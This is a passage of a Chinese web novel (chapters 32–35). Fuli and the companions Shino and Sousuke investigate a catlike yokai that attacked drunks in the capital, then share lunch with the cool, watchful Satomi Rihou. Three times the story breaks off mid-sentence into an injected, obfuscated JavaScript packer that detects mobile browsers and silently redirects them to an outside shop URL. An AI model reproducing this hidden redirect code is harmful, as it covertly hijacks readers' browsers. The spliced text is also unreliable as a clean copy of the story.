说到这里信乃就一肚子的牢骚要发,往常只有庄介追在他屁股后面到处跑,哪成想风水轮流转,终于是赶上时候,变成他跟在庄介身后跑还被嫌弃了。 扶黎忍俊不禁,又有些好奇,便向他打听:“什么事啊,可以说给我听听吗?如果需要保密的话就当我没说。” “没什么不能说的,城里各种小道消息都传遍了,也就这会儿大家出来玩一片和乐融融,但凡今天早上你先去了城中心,也不至于一点消息都不知道。” 看来这还不是件小事,扶黎的兴致顿时被彻底调动,做出洗耳恭听的认真模样。 信乃也不吊人胃口,立刻讲了起来。 据他所说,最近城中一直不太平,除了他自己吃了回亏外,妖怪目击率也是大增,按理说帝都在教会设置的结界保护之下,只有些不成气候的小妖能跑进来,而这些小妖连别说是作乱连显形都做不到,教会便一直没放在心上。 直到昨天,不知道是不是城中忽然满溢的人气刺激到某个躲藏中的妖物,深夜之时几个在外面喝酒喝得忘了时间的男人醉醺醺地结伴回家,刚刚走到街市尽头,一股怪风刮过,住在附近的居民就听到几声凄厉惨叫,黑漆漆的夜色里衬得那叫声更显诡异恐怖。 几个附近民居的男人壮着胆子结伴出来探查情况,深冬的夜气温骤降,呼啸的风仿佛野兽哀嚎,一阵阵在低空盘旋。 男人们冻得控制不住发抖,只能更用力裹紧身上临时穿来御寒的棉衣,他们挤挤挨挨缩在一起,似乎这样就能获得更多勇气。 左右两边的人各持一盏油灯,天上无星无月,昏黄的光线仅能照亮面前一小块地方。 他们打着哆嗦,小声说话:“你们说会是什么?那声音听着可吓人。” “是不是有强盗抢劫伤人?我们四五个大男人一起,别害怕,对方肯定已经跑了。” “你说得对。” 就这么互相壮着胆子又走了几步,他们终于看到了前方倒在路上的人。 32. 第 32 章 还没凑近就先闻到一股浓烈的酒臭味混杂着血腥味,三个人倒在地上人事不知,身下一大滩血迹,一个粗壮汉子上去试了试呼吸,立马道:“还有气,赶紧去通知附近的警备队和医生,天气这么冷再这么下去不流血流死也会冻死的。” 很快有两个跑走找人帮忙,剩下的则留在原地看守。 他们不知道那个或数个犯人是不是还躲在附近没有离开,依旧盯着这边,因此都非常警惕,随时做好了反抗或逃跑的准备。 幸运的是这样的事情并未发生,附近警卫队很快就派了人过来,还带了随队的医生。 一番简单的检查和止血操作后,警卫队将伤者抬了回去,之后的事情自然跟他们这些平民老百姓没有关系,不过警卫队说了等这些人醒了就会告诉他们,他们的救命恩人是谁。 众人摇头:一群喝酒喝到大半夜还在外面闲逛的醉鬼,做他们的救命恩人一点用处也没有,不过这件事倒是很好的谈资。 于是天一亮,昨晚街市有人被袭击的消息就迅速扩散开来,警卫队并没有公布袭击者的一应信息推测,但其中几个人有看过受害者的伤口。 简单描述了一下,有这方面知识的立刻就推测出,这可能不是人而是动物的利爪造成。 然后问题就来了,能弄出那么长那么深抓痕的动物体型肯定不小,而帝都哪来的大型野兽,平时连只黄鼠狼都难见到,难道是附近山上下来的野兽偷偷溜进来了? 一时间城中人人自危,提心吊胆。 不过有担心的,就有人浑不在意,少部分人是因为艺高人胆大,大部分则是因为晚上从不夜游,深信只要白天就是安全的。 这不,就算出了这样的新闻,传得满城沸沸扬扬,也不影响湖面上这群过来溜冰的家伙。 信乃告诉了扶黎一个内部消息:“专业验伤人员验过之后发现,那些伤痕确实不是人为,而是大型动物留下的,最重要的事伤口周围残留了些许妖气,我们都怀疑这不是一起简单的野兽袭人事件。” 说着,信乃烦躁地扯了扯头发:“啊啊!可恶!现在遇到一点事我都会怀疑到玉梓姬那个女人头上,这样可不好,会混乱的。” 扶黎动作一顿,微微抬眼,这应该是他第一次从信乃口中听到玉梓姬这个熟悉的名字,不过在信乃他们印象中,自己应该对玉梓姬一无所知才对,因此他仿佛没听到般,自然地岔开话题:“追到这里来,是查到对方行踪了吗?” 刚刚的抱怨仿佛只是随口一说,信乃压根没意识到自己说漏嘴,也轻而易举被转移了注意力,这会儿骄傲地挺挺胸膛:“那当然,庄介的鼻子可好使了,区区一个晚上,味道还没散尽,很快就顺着味道追了过来。” “鼻子很好?”扶黎的疑惑表现得恰到好处,仿佛他真的一无所知,也真的奇怪怎么能用鼻子好来形容人类。 “噢,忘了你还不知道。”信乃有瞬间的迟疑,但很快表情一松摊手道:“也没什么好隐瞒的,几年前我和庄介曾经遭遇过一场灭门之灾,当时庄介重伤几乎死去,我也差点性命不保,为了活下去也为了复仇,我们舍弃了人类的身份,庄介选择和我养的狗四白共用一个身体,而我则被附身……” 说着他轻快地笑了笑,往日阴霾没有在他身上留下一点痕迹:“活是活下来了,不过显然不是世人眼中的活法,从那时起庄介就可以在人身和犬身之间切换,不能说全是坏事,至少他变得更受狗欢迎了。” 扶黎不知道他是苦中作乐,还是真的如此认为,但至少他的表情中没有一丝勉强,透露出十足的坦然。 这样的事讲出来应该会让听的人感到凄惨以及同情,但扶黎知道对面这个小孩样貌的家伙只是在单纯讲述而已,事后的同情无济于事,更何况是在过去这么多年之后,过多同情反而惹人厌烦。 扶黎拍拍他的肩膀,仿佛聊家常般:“真是一段曲折的经历,好在如今大家也算雨过天晴,也解了我的一个疑惑。” 信乃:“什么?” “气息啊。”扶黎一指点在他眉间:“人和妖之间气息是很不一样的,初次见面我就发觉了,你们的气息既不是完全的妖,也不是完全的人,像是个混合体,不过人活在世上大多身怀秘密,刨根问题可不是什么好习惯,做朋友也无需知无不言言不不尽。” 信乃听懂了,他举一反三:“就像你也有很多秘密,比如到现在我都不知道你的真实身份,又为什么要来帮我们?” 扶黎眨眨眼,脸上笑容明媚:“或许有一天你会知道,还有帮助别人有时候并不需要什么特别的理由,只需要有一个共同的敌人。” 信乃的眼睛一瞬睁大,试探道:“你也跟那个女人有仇?她也害过你?” 害他工作量增加算不算害? 扶黎脑子里飞速转了一圈,心中不由啼笑皆非,面上却只是朝信乃摇摇头,半真半假道:“她倒是没害成我,只是给我添了不少麻烦,礼尚往来,我也要给她找点麻烦。” 信乃半信半疑,玉梓姬一出手总得害死几条性命,远不是添麻烦那么简单,不由问道:“我们说的是同一个人吗?” 扶黎看看他,半晌嘴里吐出几个字来:“玉梓姬。” 话音刚落,信乃瞳孔骤缩,一步上前几乎贴在扶黎身上,声音急切地追问:“你在哪里碰上她的?什么时候?有见到那个女人吗?” “冷静冷静冷静。”扶黎被他忽然的举动惊了一小跳,回过神后双手按在信乃肩上,轻声安抚:“就算见到也是好久之前的事了,你现在赶过去也无济于事。”当然也没有地方让你去,一半都是他胡编乱造出来的。 “我并没有见到那个搅风搅雨的女人,我的朋友大概有碰上,至于没有人员伤亡……呃,除了我的朋友技高一筹之外,大概也有对方只想偷东西的原因在吧。” 一番说明之下,信乃的情绪已经恢复平静,他往后退了退,一手按着不停抽动的太阳穴:“抱歉,是我反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128090|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过度了。” 扶黎摇摇头,表示没关系。 两人绕着湖边慢慢走了起来,湖边只有枯草和昨晚下的霜,远处传来喧嚣的人声,两人就这么沉默地走着,谁都没有说话。 直到信乃打破了沉寂:“东西偷走了吗?” 扶黎:“偷走了。” “偷走的是什么?” “……”扶黎迟疑了片刻,决定说句实话:“偷走的是能害你们的东西。” 身旁脚步一顿,扶黎跟着停下回头看去,只见信乃脸色僵硬,像是惊讶、奇怪以及迟钝未退的笑意混合在一起,以至于表情奇怪。 “怎么了?”扶黎开玩笑般:“这可不是我们的错哦,谁会想到有人去偷那玩意儿,她自己为什么没死在里头都是个谜,按理讲外面的人进不去的,就算进去了也出不来。” 信乃嘴唇开合却没有声音发出,他现在心情有些混乱,有很多话想说却说不出来,他不是想要责怪对方,只是一下子接收的情报量超标,导致大脑过载,组织不起语言。 一阵凉风吹过,似乎冰镇了他过载发热的大脑,信乃恍惚清醒过来,定定瞅了扶黎一眼,忽然凑过去神秘兮兮问:“所以你一开始就是故意来跟我们接触的吗?叶月也是你知道了情况,特意送回来的?” “天地良心。”扶黎表示这个锅扣的有点多:“我可不知道那只天狗是你们在找的,只是凑巧遇上,跟他打了一架后附在他身上的东西逃了,没办法我才把他带走,后面的事你就都知道了。” 扶黎说的这些可不算撒谎,他只是选择性地讲述了部分事实。 信乃显然没有那般“老奸巨猾”,成功让扶黎避重就轻忽悠了过去,他张张嘴还想再问些什么,却很快又咽了回去,他想到了那句不应该刨根问底,不知道如果继续下去是不是就踏入了那个范畴。 “有些事我没办法和盘托出,所以你也不必勉强信任我。”扶黎一眼看出他的犹豫,对此也很理解:“友好相处的同时保持一定警惕,我想这种状况大家都会这么做。” 信乃听得晕晕乎乎,比起理论他更偏向直觉,这种和别人相处还要带八百个心眼的做法完全不适合他,以至于他苦恼地抓了抓头,不一会儿就抓成了鸡窝。 “算了,想破脑袋也想不明白的事少想!”信乃忽而抬起头,迎光看来,一双亮晶晶的眼眸宝石般闪闪发光:“我相信自己的直觉,你一定不是坏人,还对我有救命之恩,所以一码归一码。” 说着他往前一凑,努力踮脚伸长了手,像是要去够扶黎的肩,但身高差实在太大,踮着脚也只能勉强够着一点,看起来有点点滑稽。 尴尬地将手放下来,改成搭在扶黎胳膊上,信乃若无其事道:“先不提这茬,你今天闲不闲,要不要到我们那里坐一坐?” “怎么?没人陪你,都找上我了?”扶黎调侃。 一句话正正说中,信乃也没啥不好意思的,骚了骚脸颊:“你就说有空没空呗。” 33.第 33 章 为此,扶黎仔细回忆了下最近的待办事项,结果就是一无所获,在三连星他们找到线索之前,自己有力也无处使,只能干等。 于是答道:“有空有空,事情都托了朋友去办,我现在正好闲人一个,你算是碰上时候了。” 一听这话信乃立刻高兴起来,可算让他逮到人了,在此刻由衷怀念曾经健康的身体。 “那我们回去吧~”简直一刻也等不下去,没有发挥的余地也没有余力,这里对信乃的吸引力已经彻底丧失。 扶黎立在原地没动,他看看不远处树后只露出半个身体的庄介,又看看另一边拿着放大镜,恨不得把每一处都地毯式搜索的迎接科三连星,神情有些困惑:“不等等吗?那边好像还没结束。” 信乃表情臭臭的,语气不太好:“不等!” 一张脸气鼓鼓,一看就是还记仇庄介不带他“玩”儿,不过这气生得不太持久,一句话的功夫他又改了主意:“算了算了,就这么走回头找不到人他又得叨叨咕咕说我一顿,我就再等一会儿,就一会儿。” 这副死鸭子嘴硬又口不对心的模样,扶黎还能怎么办,只能点头啊点头表示:对对,你说的对,等他都是他的荣幸。 这么干等着也不是个办法,两人不由又聊起了昨晚上发生的那件事。 说起这件事,扶黎又想起点东西:“那几个醉汉今早应该醒了吧,没问问他们昨晚到底发生了什么?” 信乃提到这个就是一脸无语:“别提了,几个人全喝得醉醺醺,别说偷袭,就是正面遇上,他们也不见得能记住,反正现在是一问三不知,只知道躺在床上嗷嗷叫疼,一点都忙帮不上。” 本来几人都暂时安置在警卫所,但他们实在太能叫唤,扯着嗓子直喊疼一个劲儿闹腾,搞得现八一个头两个大,眼看问不出个所以然,只留了名字住址,就赶紧叫他们家里人把人给弄走了。 扶黎听得想笑,不过努力忍住了,他轻咳一声,摆正脸色:“没关系,就算看到了也不见得有用,不是说是妖怪干的嘛,他们提供信息也没用。” “那也比什么都没有的好。”信乃嘀咕了一声。 扶黎还能说什么呢,只能摸摸信乃的脑袋,表示安慰。 两人聊着聊着就没话题了,一看庄介那边不知道在忙什么,于是不由自主往中间庄介那边越蹭越近,最后干脆站在他身后探头向前看。 面前一大片枯掉的草地和几棵高大乔木,光秃秃的一览无余,有什么都能看得清清楚楚,而现在什么都没有。 顺着庄介的视线方向再仔细看看,扶黎眼前一亮,只见草地上几个不太明显的爪印散落,看大小有他两个手掌那么大,爪印之间距离很宽,梅花形状,像是猫科动物。 扶黎摸摸下巴:“这看着体型不小啊,这么大的爪子,步距也不小,难道是老虎?” 庄介一转头,身后忽然多了两个人,都在低着头看地上的线索,那认真的模样,不知道的还以为是他们一直都在。 无奈地摇摇头,也没问扶黎是怎么出现的,庄介先看了一眼信乃,确认他现在心情还不错,不像刚才那样一点就着,这才放心,也心思跟扶黎讨论线索了。 “应该不是,这边野外根本没有老虎,老虎攻击力不容小觑,昨晚受伤的几个人虽然伤势不轻,但说到底也只是划了几道口子,流血较多才会虚弱,如果真的是老虎,它怎么控制自己只用爪尖,而不是整个爪子拍下去,那样一定会有人骨裂甚至骨折,但现在没有人有这样的伤,说明它控制的很好,这么精细的操作,大体型动物很难办到。” 庄介说得不无道理,既然都袭击了人,自然不会爪下留情,没能做到一击必杀,说明对方没有那个实力。 “可是……”扶黎一歪头,表情困惑:“这个步距看起来并不小啊。” “这确实是个疑点,不过比起成精的老虎,我更相信其它可能。”庄介坚持自己的观点,并提出新假设:“四兽神中有一位猫神,平时就如普通猫咪一样不过半臂长,但需要的时候它会放大自己的身形,变得几乎有豹子那么大,会不会犯案的也是猫,这样也符合猫灵巧细致的活动特性。” “还有这里。”庄介走到一处微微下陷的坑洼处,坑正中央有块到人膝盖那么高的石头,庄介蹲下身指给他们看石头和土层的缝隙间:“刚刚发现的,几根散落的鸡身上的硬羽,旁边还有一些胸腹部的细软羽毛,除了这些往更深处的地方一路上都能发现细小的血迹点,痕迹非常新鲜,我跟着往里走了走,发现这里其实还住了几户人家,我过去时正好听到其中一户的女主人跟邻居聊天,问他们的窝里有没有多一只鸡,自家昨天有只鸡晚上没回来。” 闻弦歌而知雅意,扶黎一点就通:“你的意思是……昨晚上那个不知道是什么的妖怪,在这里捕猎了一只鸡?” 光看迹象,这说法确实说得通,但还有一点问题,这片树林虽然并不如城外的森林那么茂密葱郁,却也有些小型动物藏身在灌木丛或树洞中,不能排除是其中某个肉食性动物趁夜捕食了附近人家的鸡。 “你说的对,不是没有这个可能。”庄介自己也考虑过这点,但综合考量下来还是更偏向前一个结论:“在附近我嗅到了比较浓的妖气残留,对方不管有没有捕猎鸡,但一定在这儿停留了很长时间,才会留下这么浓的气味。” 扶黎有一点被说服,并且在接下来自己也找到一些佐证,比如地上虽然残留了捕食痕迹但却不多,一看就有刻意处理过,如果是一般野兽绝不会去处理,吃饱了直接扔下猎物跑走就是。 而如果捕猎的那只动物真是他们要找的目标,是老虎的可能性就更小了,野外的老虎几乎很少捕捉这种肉少毛多的猎物,一口下去全是毛,剌嗓子不说还吃不了几口肉,连个十分之一饱都填不满,因此它们更倾向于捕捉鹿、野猪之类的大型动物,能够满足它们旺盛的食物需求。 信乃提议要不要再往深处进去一些看看,或许对方就藏在这片林中。 庄介拍拍裤腿黏上的草屑和泥土站起身:“里面也没有多深,我进去探查过,味道不浓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129592|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概早跑走了。” 又一条路被堵死,信乃无语望天,他烦躁地抓抓头发:“既然这里找不到,今天就回去吧,这又不是我们的任务,线索也只有那么一点,找不到就找不到,它要是真的对人类有敌意,肯定会再次出手,现在要么就等着,等线索自己送上门。” 这其实也是没有办法的办法,推己及人,如果他是对方根本不会待在这种人烟稀少的山林,很容易一找一个准。 他会选择人员密集区域,善用自己的小体型,再加上外形是猫,藏起来轻轻松松,从路边走过都不会有人多看一眼,驳杂的人类气息更是影响庄介的气味追踪。 总而言之,对手比较难缠,一朝一夕间找不到头绪,只能暂缓进程。 庄介也无可奈何,好在他也不是那种会为难自己的,有关信乃的事情除外,因此只在周围又略看了看,就决定打道回府。 扶黎悄悄背过身望向对面的佐井巧,见几人还在忙活,趁他们看过来的当口连忙做口型,表示有事先走。 也不知道他们有没有看懂,但这边信乃和庄介已经准备要走,他也不好多耽搁,很快跟上去。 回去的时候庄介和信乃共乘一匹马,以前都是庄介坐前面,信乃坐后面抓住他衣服。 最近信乃不是虚嘛,庄介不让他坐后面了,一定要信乃坐前面,怕他路上抓不住摔下去。 信乃一万个不乐意,觉得坐前面像个小孩儿丢人,使劲儿伸伸胳膊抻抻腿,试图表示自己没有那么弱,不会抓不住人。 他的据理力争十分有效,下一秒庄介就不耐烦的直接将人提上了马,往前面一安,动作熟练一看就不止干过一次。 “……”信乃一脸不高兴,抱着双臂坐在前面。 扶黎忍笑翻身上马,一声清脆的马鞭响,两匹马一前一后绝尘而去。 城郊处人烟稀少,不必收着速度,马儿眨眼间便跑出很远,快到街市的时候才缓缓收了速度,开始慢悠悠的小跑,这样的速度即使路边忽然窜出个人来,也能及时勒住缰绳停下来。 正这么想着,前方的棕色马匹忽然前蹄高高扬起,发出一声尖锐嘶鸣,庄介一手勒住缰绳,一手护住身前的信乃不滑落,边不得不庆幸坚持让他坐前面,坐后面搞不好真会滑下去。 扶黎紧跟勒住缰绳,身下的马儿不安地原地来回踱步,扶黎四外看了看空空荡荡的街道不解:“怎么回事?” 前方庄介也也在四外看:“刚刚有个黑影突然窜了过去,我以为是谁家小孩儿。” 结果停下来后才发现什么都没有,要不是他和信乃都看到了,差点怀疑自己眼花看错了。 “是不是谁家养的猫狗。”信乃见找不着也不担心,跑得这么快肯定不是小孩儿,刚才减速及时更没擦到,那东西大概率没受伤,现在指不定躲在哪个犄角旮旯里呢。 庄介点点头:“先这样吧,我们继续赶路。” 小巷阴影中,一双圆滚滚的眼睛静静注视着他们离开的方向,扶黎若有所觉,回头看了一眼。 34.第 34 章 到达四兽神宅邸时,天竟然放了晴,本来还有些阴沉的天空此时太阳高悬,阳光明媚。 可惜的是温度并没有跟着上来,依旧不适合在外面晒太阳,但在阳台上搞个躺椅,再来点红茶、点心,就是个惬意的午后。 扶黎翻身下马,看了看日头,估摸着已经快中午了。 落脚第一件事先将马牵到马厩,喂上一顿美美的草料,扶黎的马也成功蹭到了一顿,还有一块方糖。 庄介去换了衣服,准备做午餐,他也是够忙的,什么都得大包大揽。 早上在给教会打工,下去说不定还得去给教会打另一场工,中午也没时间休息,家里几张嘴嗷嗷待哺。 信乃有时也心疼他但嘴上不说,只让他别老替教会办事,偶尔也休息一下,至少一周休三天,现在休个一天都算多的。 庄介每次都笑笑不说话,可能天生闲不下来,也可能是不想在四兽神家白吃白喝,他的责任感太重了。 扶黎想进去厨房帮帮忙也被拦下,说是没有让客人动手的道理。 没办法,他只好跟信乃一起到客厅里等着。 这么大的宅子人一少就显得空荡,感觉说话都有回声,信乃整个团进沙发里,手里翻着本闲书权作打发时间。 “除了你们,这宅子里其他人呢?” 信乃合上书,抬眼想了想:“滨路最近放假,一般都在楼上自己房间里学习各种草药知识,最近上学了还会提前预习学习内容,吃饭的时候才下来。” “要的话偶尔会跟我们一起吃,但中午大部分时间都在外用餐,绫音倒是不怎么外出,不过蛇神大人对她很是爱惜,她自己也腼腆害羞,不适应和很多人一起用餐,最多一起吃个下午茶,莉芳就更不用说了……对了,你见过莉芳吗?这个屋子里好像只有莉芳和那智没介绍给你认识过了。” 扶黎捋了捋头发,面露沉思:“那个叫要的我听你提过很多次,也见过他的五只小狐狸,但他本人我还真没见过。” 其实除了那个叫那智的其他两个他都见过,不过是以其他身份见过或单方面看到过,但不能在这个身份上露馅,现在只能撒个小谎了。 “没见过?”信乃一下坐直了身,摇摇头:“怎么可能,你都见到五只小狐狸了,它们不可能让要一个人单独出门,是不是你来得快走得也快,才没来得及见上面。” 扶黎:“好像是,那次我正好过来给你送药,送完就急匆匆走了,总共也没待上几分钟。” 信乃重新靠回沙发:“那就是了,要肯定在屋里其它地方待着,因为宅子太大,我都不知道他们在哪里待着,可能在自己房间,可能在书房,也有可能在后花园,反正不会好好在客厅呆着,找人的时候可麻烦了。” 扶黎:“…………”不知道为什么,有种被炫了一脸的感觉。 正待继续“品味”这忽如其来的酸意,“咔哒”一声,玄关大门忽然开了。 “谁回来了?”信乃探头去看,“是要吗?正说到他呢。” 说话间,一道高大的身影走了进来,来人一头浅金色半长发,姿容秀丽身形挺拔,自带一股优雅气场。 信乃看着对方眨眨眼,微微张大了嘴:“你怎么现在回来了,平时不都是晚上才回吗?” 莉芳摘下手套扔到一旁柜子上,一股寒意被裹挟而来,将这一方小空间都带得凉下去,连声音也带着一股凉意:“今天没什么事,就提早回来了。” 信乃从沙发上蹭下来,走过去捏了捏他的衣服,左看看又看看,最后抬头:“就穿这么点儿,庄介每次出门恨不得把我裹成个球,就算这样外面风一刮都不暖和,你这能抵什么用。” 男人穿着一身白色厚呢子大衣,长度到膝盖,版型挺括布料厚实,衬得人身高腿长,每一颗扣子都像是宝石般亮闪闪。 不管这件衣服是多么好看贵重,都不能抹消它不够厚实这个事实,零上五六度的时候穿或许还算暖和,零下十度穿就是自找苦吃了。 屋内燃着壁炉,脚下还点着一个炭盆,虽然不如现代取暖设施那么效果明显,但在客厅这么大的地方还算暖和。 莉芳取了脖子上围着的围巾,松了松领口:“教会里不冷,来回路上也都是坐车,穿多了不方便。” 言下之意风吹不到,不像他们出门还只能骑马。 信乃小小冒了个酸泡泡,虽然很想出言不逊冒犯一下,不过他还记得自己的零花钱掌握在对方手里,于是默默闭上了嘴。 一转头瞧见坐在一旁有些好奇的扶黎,信乃不由一拍脑袋,差点忘记他们俩不认识了,连忙介绍起来:“这位就是之前说过的扶黎,早上碰巧在城郊的湖边碰上,我就邀请他过来玩儿了。” 扶黎朝他点头示意:“你好。” 男人没有说话,目光淡淡表情也淡淡的,那样子像是在打量自己,只是从神情上看不出任何端倪,片刻后才冲他点了点头,权作打过招呼,连一个字也没有说,很是惜字如金。 扶黎笑得礼貌,内心想的却是:刚才幸好没有习惯性把手伸出去,这么冷淡,大概率不喜欢肢体接触。 他猜的不错,如果刚才他真的伸手出去,出于礼貌,莉芳不会拒绝这样的友好交流,但相比于此,他更希望初次见面时大家能够彼此保持一些距离。 “里见先生吃过饭了吗?”庄介忽然从厨房探出半个身子,他手里还举着锅铲,身上围着朴素的格子围裙。 里见莉芳:“还没有。” 见状,庄介邀请道:“要不要一起吃,最后一道菜马上出锅,我对自己的厨艺还算有自信,绝对不会难吃。” 本以为莉芳会一口回绝,出乎意料的,这次莉芳竟然答应了下来,以至于庄介一时间没回过神,站在厨房门口愣愣的,过了会儿才点点头,冲信乃吩咐道:“把桌子收拾收拾,碗筷摆一下,马上开饭。” “好!”信乃应了一声,去收拾桌上放的杂物,收拾完又拿抹布擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151649|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一遍,然后去拿碗筷一个个给摆上。 扶黎再次想上前帮忙,站着什么都不做显得怪傻的,结果又又被拒绝了,他只好眼睛到处看,让自己看起来忙一点的。 不期然再次对上里见莉芳的视线,扶黎不好意思地笑笑,迅速转头:有点点尴尬。 不过这样的尴尬并没有持续太久,信乃很快就搞定一切,顺便去楼上把学习中的滨路喊了下来,庄介也将饭菜摆满了桌。 五个人在桌边坐了一圈,滨路看见莉芳也愣了一下,随后问道:“要呢?他不回来吗?”最忙的人都回来了,不怎么忙的怎么没回来。 莉芳慢条斯理擦着筷子上残留的水迹:“他今天和我没在一处,不知道我回来了,应该还在外面忙。” 滨路摇摇头没说话,心里在想:忙什么忙,肯定又在外面招猫逗狗。 庄介的厨艺确实没话说,不管什么都做得可圈可点,就连很难做得好吃,一不小心就翻车全是药材味儿的药膳也做得不错,至少药味儿不是那么大,有些食材的鲜味儿打底,信乃吃起来就没那么排斥了,再想想滨路做得药茶,更是吃得心甘情愿。 而另一边扶黎则从没吃得这么安静过,桌上突然多了个大美人,动作还那么优雅端庄,搞得他都不由自主斯文起来。 扶黎这副假皮囊也算美丽,行为举止一讲究起来,倒还真像那么回事。 讲究着讲究着扶黎不耐烦起来,尤其是发现吃骨头特别不方便时,他迅速放弃了在美人面前维持形象的必要,大喇喇伸手捏起一根排骨啃了起来,炖的软烂的骨头上的肉轻轻一咬就掉,浸透了酱汁后咸鲜味美,比较大块的骨头没有排骨吃起来那么容易,好多肉藏在犄角旮旯里,幸亏他平时练就了一手啃骨头绝招,才不至于在别人家饭桌上吃得龇牙咧嘴。 虽然吃得很快,但奇异的是他的吃相并不显得粗鲁,哪怕手上捏着骨头也只会让人感觉直率坦荡。 桌上的气氛一开始多少有些不自然,除了信乃这个胆大妄为、我行我素的家伙,大家都有些拘谨,不过很快就自然而然地放松了下来。 信乃喝完自己的专属药膳,偷偷吐了吐舌头:终于吃完了。 庄介担心他吃饱后不肯吃药膳,最近强制要求饭前先吃药膳才能吃别的,以至于信乃听到吃饭都没以前那么开心,每天都这么来一顿,就算是烤牛肉他都得吃厌。 “吃这个压压味儿。”庄介夹了块蜜汁鸡翅放到信乃碗里,这还是之前从扶黎那里学来的菜谱,信乃因为吃药膳期的关系特别喜欢,所以庄介经常做,还有其它一些甜味菜品,就为了让信乃能乖乖的,不要闹小孩子脾气不吃药。 要是信乃知道了一定会不开心地反驳,庄介费劲心思给他做食物,也是为了他的身体好,就算自己再怎么任性,心里再怎么不乐意,行动上也会乖乖吃掉,又不是真的小孩子。 里见莉芳坐在他们对面,忽然抬眼看看这个又看看那个,随后摇摇头收回视线。 35.第 35 章 一块蜜汁鸡翅下去,那股浓郁的草药味儿终于被彻底压住,信乃美滋滋啃着最爱的肉边跟莉芳吐槽,这个家也就他敢跟莉芳这么没大没小。 “听说因为前几天下雨的缘故,贫民区那边的教堂屋顶又漏了,庄介说下午要去那边帮忙修补屋顶,还有附近几所房子也帮忙顺便修一修,我说你们就不能一次性把屋顶的瓦全换了吗?每年都要修上几回,麻烦死了。” 被抱怨的莉芳看了他一眼,神色有些无奈:“都说了是贫民区,屋顶的瓦全换成新的,用不了一天就会被人全部偷走卖到二手市场,所以修补用的也是其它房子换下来还能用的瓦片,你去过那边应该也知道那儿的治安情况。” 就算是帝都之中也不是处处光鲜亮丽,贫民区在城中占了非常小一块地方,那里毗邻花街,住的多是些因为各种原因破产的原普通城民,或者说是一些人失去财产后只能住到这些破房子里,因此慢慢地形成了贫民区。 贫穷、赌博、浪荡、花天酒地,这些碰撞在一起便成了犯罪的土壤,贫民们会一次又一次回忆起从前的生活。 其他可怜人暂且不提,因为赌博落到这步境地的,绝不会改过自新,脚踏实地。 能够坑蒙拐骗不劳而获,何必苦哈哈起早贪黑去干一份拿不了多少薪水的辛苦工作。 贪婪让他们爬不出这个深坑,也造成了贫民区糟糕的治安情况,偷窃几乎每天都在发生,没有哪个正经人会想到那种地方去。 信乃听完啧了一声:“那下午我也要去。” 里见莉芳:“你去做什么,他是上房修屋顶,不是做代理牧师,哪有时间分神照顾你。” 明明长得那么好看,说话却有够毒舌的。 信乃运了运气,还是没忍住:“我不需要庄介照顾,他修他的屋顶,我去看看教会的孩子,不会乱跑的!” 里见莉芳不信任地看了他一眼,却到底拗不过他的坚持,答应了。 一旁扶黎瞅瞅两人的相处方式,不知道为什么总觉得怪怪的,有种父母包容孩子的宠溺感。 没记错的话他们不是单纯的合作关系吗?之前信乃自己介绍的时候明明有说过。 扶黎眼珠子转转:一定有什么是我没发现的。 ………… 一顿饭毕,那个叫滨路的女孩子上楼继续学习去了,庄介要收拾厨房,而信乃为了证明自己真的不需要庄介额外照顾,硬是跟着挤了进去。 客厅顿时就空了下来,又变成了只有他和里见莉芳的情况。 对方一扫先前的视而不见,即使低着头也能感觉到一股视线落在自己身上,这视线并不热烈,甚至是冷淡的,但却像一把锐利的刀要将他剖开看清内里。 扶黎从若无其事假装没有发觉,变得无法忽视这道视线,他忽的合上书页,抬头直直迎了上去。 对方不闪不避,那双美丽的灰色眼眸和他四目相对,扶黎看不出其中蕴含了什么,或许本来就什么都没有。 “您好像一直在看我。”扶黎扯了扯眼前垂下的一缕半长不长的头发,用发卡重新别了上去,“有事的话就直说吧。” 莉芳眼神有一瞬间的移动,落在那支发卡上,发夹通体银色,其上一颗紫色宝石颜色润泽饱满,显得很是俏皮可爱。 很少见到有男人会这么大大方方夹如此可爱的小夹子,他不禁多看了两眼。 扶黎晃了晃脑袋,那缕调皮的发丝被牢牢固定,没有再在眼前碍事,而对面的男人依旧看着他。 扶黎选择主动出击:“是想问有关信乃的事?还是想知道我的身份?能说的我都已经告诉了信乃,不能说的自然不会说,至少暂时不能说,希望您能理解。” 似乎没料到他会如此坦然,里见莉芳的眼瞳微不可察地颤了下,下一秒他抿抿唇:“真是抱歉,请原谅我的无礼,但有些事即便知道得不到答案,也不能就这样放弃,总要试一下才知道结果。” “那您得到那个结果了吗?”扶黎依旧笑着。 